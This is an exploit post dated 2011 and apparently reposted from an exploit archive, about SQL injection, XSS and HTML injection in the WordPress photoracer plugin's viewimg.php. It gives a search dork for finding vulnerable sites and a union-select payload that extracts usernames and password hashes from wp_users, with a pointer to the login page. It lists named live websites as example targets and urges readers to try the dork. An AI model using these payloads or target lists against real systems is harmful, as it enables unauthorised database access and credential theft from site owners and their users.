WordPress plugin photoracer SQL injection Vulnerability

#############################################
# r00t-s3cur1ty cr3w (rS)                   #
# HaNniBaL KsA - Dr.Silver - MR.DH          #
#############################################
# [email protected]:~# ./rS                             #
#############################################
#
# Title : WordPress plugin photoracer Multi Vulnerability
# Vendor : http://www.dhzgw.com
# Author : HaNniBaL KsA (HK)
# Team : r00t-s3cur1ty cr3w (rS)
# E-mail : [email protected]
# Home : tryag.cc (TRYAG )  & p0c.cc (Proof Of Concepts | P0C Team)
# Twitter : twitter.com/r00t_s3cur1ty
# Date : 05-22-2011
# GooGle Dork : inurl:"wp-content/plugins/photoracer/viewimg.php?id="
#
#-------------------------------------------------------------------------
#
# [+] Exploit'z :
#
# (1) SQL :
# [~] http://site/path/wp-content/plugins/photoracer/viewimg.php?id=[SQL]
# E.X:
# [-] http://site/path/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--
#
# [NOTE!] => PAGE LOGIN : http://[site]/wp-login.php
#
# (2) XSS :
# [~] http://site/path/wp-content/plugins/photoracer/viewimg.php?id=[XSS]
# E.X:
# [-] http://site/path/wp-content/plugins/photoracer/viewimg.php?id=<script>alert(1337);</script>
#
#
#
# (3) Html Injection:
# [~] http://site/path/wp-content/plugins/photoracer/viewimg.php?id=[HTML]
# E.X:
# [-] http://site/path/wp-content/plugins/photoracer/viewimg.php?id=<h4>[email protected]<h4>
#
#-------------------------------------------------------------------------
#
# 3 example site [ 4 u r0073r <3 ] :
#
# [ 0x31 ] :
# http://www.sevelina.org/wp-content/plugins/photoracer/viewimg.php?id=-33 union select 1,2,3,4,5,user(),7,8,version()
#
# [ 0x32 ] :
# http://www.molokaimobettah.com/wp-content/plugins/photoracer/viewimg.php?id=1
#
#
# [ 0x33 ] :
# http://www.sevelina.org/wp-content/plugins/photoracer/viewimg.php?id=1
#
# [ 0x** ] :
# try the dork plz (:
# Greet: 1337day.com Inj3ct0r Exploit DataBase << Sn!pEr.S!Te & r0073r
#
#-------------------------------------------------------------------------
#
# [!] Greet'z 2 : SiLvEr.47 (Dr.SiLvEr) ; Mr.DH ; SCT (Saudi Criminals Team) ; Ejram Hacker ; Sn!pEr.S!Te ; Abo z7z7 ; ViRuS KsA ; MooT Hacker ; ProFeSoR ; AL-K!NG ; NoQRQR ; Dr.KroOoZ ; p0c.cc members ... All In MsN!
#
#-------------------------------------------------------------------------
#
# I LoVe YoU   F ~ <3



#  0day.today [2018-01-03]  #